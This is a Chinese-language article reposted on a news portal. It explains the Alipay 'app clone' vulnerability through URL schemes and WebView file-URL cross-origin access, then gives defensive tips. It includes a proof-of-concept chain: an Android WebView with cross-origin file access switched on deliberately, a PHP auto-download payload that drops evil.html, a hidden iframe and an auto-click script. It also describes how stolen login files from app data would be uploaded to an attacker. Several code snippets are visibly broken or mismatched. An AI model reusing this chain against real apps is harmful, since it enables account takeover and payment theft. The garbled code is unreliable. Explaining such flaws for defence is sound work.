首頁>科技>

最近疫情期間,除了疫情相關的熱點新聞被大家關注,在網路安全圈又爆出了一個"驚天"新聞,一種新型的"克隆攻擊"能輕鬆盜刷你的支付寶!!

這個新聞大概是這樣的,近期,騰訊安全玄武實驗室負責人"TK教主"於暘就用簡訊為載體,現場披露了"應用克隆"這一移動攻擊威脅模型。玄武實驗室以支付寶App為例展示了攻擊效果:在升級到最新安卓8.1.0的手機上,利用支付寶App自身的漏洞,"攻擊者"向用戶傳送一條包含惡意連結的手機簡訊,使用者一旦點選,其支付寶賬戶一秒鐘就被"克隆"到"攻擊者"的手機中,然後"攻擊者"就可以任意檢視使用者賬戶資訊,並可進行消費。

受此威脅模型影響,支付寶、攜程、餓了麼等近十分之一的安卓版應用都有資訊、賬戶被盜的風險。黑客可以克隆出一個你的支付寶(頭像、ID、花唄、芝麻信用等等完全一樣),然後花你的錢。而簡訊只是一種誘導方式,二維碼、新聞資訊、紅包頁面等都可能被黑客用作為攻擊手段。

看到這裡一定會有很多小夥伴擔心自己中招,錢被刷走!其實大家不用這麼緊張,今天小編我就用本篇內容給大家分享一下"克隆攻擊"的實現原理!以及我們該如何防範此類攻擊!

克隆攻擊實現過程及原理:

在分析漏洞之前,我們先來了解兩個相關知識點,跨域和URL scheme。

一、URL Scheme

URL Scheme是一種頁面內跳轉協議,就是通過定義自己的scheme協議,可以非常方便跳轉app中的各個頁面;通過scheme協議,伺服器可以定製化告訴App跳轉那個頁面,可以通過通知欄訊息定製化跳轉頁面,可以通過H5頁面跳轉頁面等。1.URL Scheme應用場景客戶端應用可以向作業系統註冊一個 URL scheme,該 scheme 用於從瀏覽器或其他應用中啟動本應用。通過指定的 URL 欄位,可以讓應用在被調起後直接開啟某些特定頁面,比如商品詳情頁、活動詳情頁等等。也可以執行某些指定動作,如完成支付等。也可以在應用內通過 html 頁來直接呼叫顯示 app 內的某個頁面。綜上URL Scheme使用場景大致分以下幾種:● 伺服器下發跳轉路徑,客戶端根據伺服器下發跳轉路徑跳轉相應的頁面● H5頁面點選錨點,根據錨點具體跳轉路徑在APP端跳轉到具體的頁面● APP端收到伺服器端下發的PUSH通知欄訊息,根據訊息的點選跳轉路徑跳轉相關頁面● APP根據URL跳轉到另外一個APP指定頁面2.URL Scheme協議格式URL Scheme協議格式和我們開啟網頁輸入的網址類似。一個完整的完整的URL Scheme協議格式由scheme、host、port、path和query組成,其結構如下所示:

<scheme>://<host>:<port>/<path>?<query>

其中scheme既可以是Android中常見的協議,也可以是我們自定義的協議。Android中常見的協議包括content協議、http協議、file協議等,自定義協議可以使用自定義的字串,當我們啟動第三方的應用時候,多是使用自定義協議。

如下是一個自定義協議的URI:

xl://goods:8888/goodsDetail?goodsId=10011002

通過上面的路徑 Scheme、Host、port、path、query全部包含:

● xl,即為Scheme,代表該Scheme 協議名稱● goods,即為Host,代表Scheme作用於哪個地址域● 8888,即為port,代表該路徑的埠號● goodsDetail,即為path, 代表Scheme指定的頁面● goodsId,即為query,代表傳遞的引數3.使用方法URL Scheme的使用方法簡要言之就是先在manifest中配置能接受Scheme方式啟動的activity;當需要呼叫時,將Scheme協議的URi以Data的形式加入到Intent中,隱式呼叫該activity。1). 在AndroidManifest.xml中對<activity >標籤增加<intent-filter>設定Scheme

<activity android:name=".MainActivity">

<action android:name="android.intent.action.MAIN"/>

<category android:name="android.intent.category.LAUNCHER"/>

</intent-filter>

<action android:name="android.intent.action.VIEW"/>

<category android:name="android.intent.category.BROWSABLE"/>

<category android:name="android.intent.category.DEFAULT"/>

<data android:scheme="urlscheme"

android:host="auth_activity">

</intent-filter>

<intent-filter>

<action android:name="emms.intent.action.check_authorization"/>

<category android:name="android.intent.category.DEFAULT"/>

<category android:name="emms.intent.category.authorization"/>

</intent-filter></activity>

上面的設定中可以看到,MainActivity包含多個<intent-filter>設定,第一個是正常的啟動,也就是在應用列表中啟動;第二個是通過URL Scheme方式啟動,其本身也是隱式Intent呼叫的一種,不同在於添加了<data>屬性,定義了其接受URL Scheme協議格式為

urlschemel://auth_activity

這裡需要說明下,URL Scheme協議格式中,組成URI的這些屬性在<data >標籤中都是可選的 ,但存在如下的依賴關係:

● 如果沒有指定scheme,那麼host引數會被忽略● 如果沒有指定host,那麼port引數會被忽略● 如果scheme和host都沒有指定,path引數會被忽略當我們將intent物件中的Uri引數與intent-filter中的<data>標籤指定的URI格式進行對比時,我們只對比intent-filter的<data>標籤指定的部分,例如:● 如果intent-filter中只指定了scheme,那麼所有帶有該sheme的URI都能匹配到該intent-filter。● 如果intent-filter中只指定了scheme和authority(authority包括host和port兩部分)而沒有指定path,那麼所有具有相同scheme和authority的URI都能匹配到該intent-filter,而不用考慮path為何值。● 如果intent-filter中同時指定了scheme、authority和path,那麼只有具有相同scheme、authority和path的URI才能匹配到該intent-filter。需要注意的是,intent-filter的<data>標籤在指定path的值時,可以在裡面使用萬用字元*,起到部分匹配的效果。2). 使用URL啟動Activity

Uri data = Uri.parse("urlschemel://auth_activity");

Intent intent = new Intent(Intent.ACTION_VIEW,data);

//保證新啟動的APP有單獨的堆疊,如果希望新啟動的APP和原有APP使用同一個堆疊則去掉該項 intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

try {

startActivityForResult(intent, RESULT_OK);

} catch (Exception e) {

e.printStackTrace();

Toast.makeText(MainActivity.this, "沒有匹配的APP,請下載安裝",Toast.LENGTH_SHORT).show();

}

當然可以在網頁中呼叫

或者是在JS中呼叫

window.location = "urlschemel://auth_activity";

二、Webview跨域

要了解什麼是跨域,先得知道一個概念——同源。所謂同源是指,域名,協議,埠均相同。如果Android的webview當前頁面要載入一個不同源的頁面,那就是跨域,示例如下:

http://www.123.com/index.html 呼叫 http://www.123.com/server.php (非跨域)

http://www.123.com/index.html 呼叫 http://www.456.com/server.php (主域名不同:123/456,跨域)

http://abc.123.com/index.html 呼叫 http://def.123.com/server.php (子域名不同:abc/def,跨域)

http://www.123.com:8080/index.html 呼叫 http://www.123.com:8081/server.php (埠不同:8080/8081,跨域)

http://www.123.com/index.html 呼叫 https://www.123.com/server.php (協議不同:http/https,跨域)

請注意:localhost和127.0.0.1雖然都指向本機,但也屬於跨域。

三、漏洞產生原因

支付寶應用克隆漏洞產生的條件:(1)應用中存在設定為可被匯出的Activity元件,並且元件中包含Webview呼叫。(2)Webview呼叫中setAllowFileAccessFromFileURLs 或setAllowUniversalAccessFromFileURLs 設定為true(minSdk<=4.1 預設為true,minSdk>4.1 預設為false),導致可以跨域訪問(允許通過file域對http域進行訪問)。

setAllowFileAccess設定是否允許WebView使用File協議,預設值是允許,如果不允許使用File協議,則不會存在下述的各種跨源的安全威脅,但同時也限制了webview的功能,使其不能載入本地的html檔案setAllowFileAccessFromFileURLs設定是否允許通過file url載入的Javascript讀取其它的本地檔案,這個設定在JELLY_BEAN以前的版本預設是允許,在JELLY_BEAN及以後的版本中預設是禁止的。

setAllowUniversalAccessFromFileURLs設定是否允許通過file url載入的Javascript可以訪問其它的源,包括其他的檔案和http,https等其他的源。這個設定在JELLY_BEAN以前的版本預設是允許,在JELLY_BEAN及以後的版本中預設是禁止的。

四、漏洞的利用

漏洞的利用我們需要用到URL Scheme協議。支付寶中包含的幾個scheme協議如下:

在支付寶接入文件中(https://open.alipay.com/search/searchDetail.htm)搜尋了關於支付寶scheme的用法,主要有以下幾種:(1)芝麻可信電子合約方案接入

alipays://platformapi/startapp?appId=20000067&url=為固定值

(2)卡券url scheme

卡列表(此appId為內部引數,不能更改)

alipays://platformapi/startapp?appId=20000021&b=m&hasData=true&has_member_data=true

商戶卡列表(pid引數指定商戶的支付寶partner_id)

alipays://platformapi/startapp?appId=20000021&b=t&a=sh&pid=xxx

卡詳情(p引數指定會員卡的支付寶編號)

alipays://platformapi/startapp?appId=20000021&b=m&p=11111&tagfrom=push

網上有文章()說,在Android版Chrome瀏覽器版本18及更早版本可以通過在頁面中嵌入iframe來實現開啟應用程式

<iframe src="paulsawesomeapp://page1">

在25及更高版本上,設定iframe的src屬性不再可能啟動Android應用程式,但是使用a標籤是可以的。但是我在實際測試中,在chrome25以上版本使用a標籤或者chrome18版本使用iframe設定src屬性均不能開啟支付寶,後來換成系統預設瀏覽器,可以開啟支付寶,但是通過上述URL scheme均不能載入file域資源。

所以,這裡只能自己寫demo程式演示這個原理了,以後如果復現成功了再補充。首先,建立一個demo工程,包含一個MainActivity,在該Activity中通過setAllowFileAccessFromFileURLs和setAllowUniversalAccessFromFileURLs為true開啟了webview的跨域功能(實際只需要設定一個就行了)。具體程式碼如下:

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

wView = (WebView)findViewById(R.id.wv);

WebSettings wSet = wView.getSettings();

wSet.setJavaScriptEnabled(true);

//開啟跨域訪問,以下兩個方法開啟一個就行了

wSet.setAllowFileAccessFromFileURLs(true);

wSet.setAllowUniversalAccessFromFileURLs(true);

wView.setWebViewClient(new WebViewClient());

Uri uri = getIntent().getData();

if (uri != null && uri.getScheme().equals("vultest")){

String url = uri.getQueryParameter("url");

wView.loadUrl(url);

}

}

以下是該activity的URL scheme配置

<?xml version="1.0" encoding="utf-8"?><html>

<head>

<tilt>恭喜你,中獎了!</title>

</head>

<body>

<a>Hello World.</a>

</body></html>

然後我們在pc上用xampp搭建一個php伺服器,建立一個test.html檔案放入根目錄,test.html的檔案內容如下:

<script src="https://cdn.bootcss.com/jquery/3.2.1/jquery.min.js"></script>

<script type="text/javascript">

$(function(){

function clicksp(){

$("#sp").trigger("click");

}

setTimeout(clicksp, 500);

});</script>

然後我們通過在手機瀏覽器中訪問"pc機IP地址/evil.html"進行測試,發現demo程式已被啟動,如圖:

跨域漏洞利用是成功了,但是這個惡意頁面應該如何放到使用者手機上呢?這就需要利用到chrome瀏覽器的一個漏洞了。chrome瀏覽器在處理 Content-Disposition: attachment 的時候,UI設計存在漏洞,導致可以自動下載檔案到固定的本地目錄。PoC如下:

<?php

header("Content-Disposition: attachment; filename=evil.html");

print "I'm evil.html"

?>

上述程式碼表示下載一個檔名為evil.html的檔案,內容為"I'm evil.html"(在這裡代表惡意程式碼)。

接下來,我們建立一個test.php檔案,寫入上述內容,放入伺服器web根目錄,然後在test.html檔案開頭加上程式碼:

<iframe style="display:none" src="test.php"></iframe>

如圖所示:

然後在瀏覽器中訪問該頁面,就會自動下載evil.html檔案到sd卡的Download目錄中,然後開啟demo app跨域載入該頁面,執行惡意程式碼了,如圖所示:

如果在evil.html中寫入的是獲取應用"/data/data/包名"目錄下儲存使用者登入資訊檔案上傳給伺服器端的程式碼,那麼惡意攻擊者就只需要想辦法讓使用者點選攻擊者精心構造的test.html的連結,就完全可以獲取使用者身份資訊,在另外一部手機上克隆這個應用的使用者資訊了。支付寶克隆漏洞的產生也是如此。支付寶存在開啟了跨域功能的webview元件,而且這個頁面是可以通過URL Scheme協議開啟的。惡意攻擊者只要藉助一個釣魚頁面就把手機中支付寶賬號資訊上傳到自己的伺服器了。

這麼危險!我們該如何防範:

1、首先我們上述已經還原整個攻擊過程,攻擊者首先向被攻擊者傳送一條帶有網址連結的簡訊,當被攻擊者點選簡訊中的網址連結後,會顯示一個搶紅包的頁面,與此同時攻擊者一方的智慧手機就已經顯示被攻擊者支付寶賬戶的頁面資訊,而後攻擊者可以通過線下購物的"掃碼支付"等方式完成支付。

整個過程中共有2個弊端,首先是被攻擊者必須開啟簡訊中的網址連結才會被克隆支付寶賬戶,不過羽度非凡在之前的文章中曾經介紹過,各大銀行官方並不會在簡訊中提供任何網址連結,如果你的收到帶有網址連結的銀行簡訊,那麼只有兩種可能:一種是銀行工作人員推廣信用卡辦理等業務,另一種是偽基站假冒銀行傳送的釣魚簡訊。排除銀行的簡訊之後,其他各種企業公司的簡訊中如果包含網址連結,大多都是推廣業務的廣告資訊,因此簡訊中的網址連結我們根本沒有必要去點選開啟。所以記住簡訊連結不要去隨意開啟!!!

2、第二點是攻擊者在克隆支付寶賬戶之後,只能使用付款碼進行支付,因為他並沒有獲得你的支付密碼,而攻擊者之所以能夠使用付款碼完成支付,完全是因為一些人為了省事,開通了小額免密支付的功能,由於受到這次攻擊事件的影響,目前支付寶已經不再提供新開啟小額免密支付的服務,其他支付工具如微信支付、新浪錢包、滴滴出行等APP也已經找不到免密支付的設定視窗。

關閉支付寶免密支付的方法:依次開啟支付寶APP→我→設定→支付設定→免密支付/自動扣款,在這裡目前只能調整"付款碼、聲波免密支付"和"乘車碼免密支付"兩項功能。

不過雖然攻擊者可以克隆支付寶賬戶,但其實只是獲得了一個支付寶賬戶的外殼,例如支付密碼的資訊攻擊者是沒能獲取的,由於支付寶的登入密碼並不是明文密碼,因此即便攻擊者獲取到支付寶的

登入密碼,想要從加密密碼破解為明文密碼也是需要幾十年,甚至上百年時間的。

3、最後就是最簡單的方法更新你的支付寶等app,因為此漏洞曝光後,廠商們都及時更新了自己的app,彌補了漏洞。

上述內容不知道大家學習到了嗎?網路世界的安全漏洞每天都會出現,安全知識和安全意識每個公民都應該了解和學習,有想學習網路安全技能的小夥伴可以隨時私信我哦!

最新評論
  • 1 #

    克隆攻擊,太可怕

  • 2 #

    張巴巴說支付寶被盜刷損失金額的,經過調查會獲得合理的賠償,前提是你不能犯一丁點的錯誤,相對來說還是銀行卡穩定安全

  • 3 #

    真是太牛了 , 牛13 ~!!!!

  • 4 #

    嗯嗯,我學會了,誰給個支付寶克隆一下!

  • 整治雙十一購物亂象,國家再次出手!該跟這些套路說再見了
  • 胡潤研究院釋出最新全球富豪榜:貝索斯蟬聯榜首,馬雲華人首富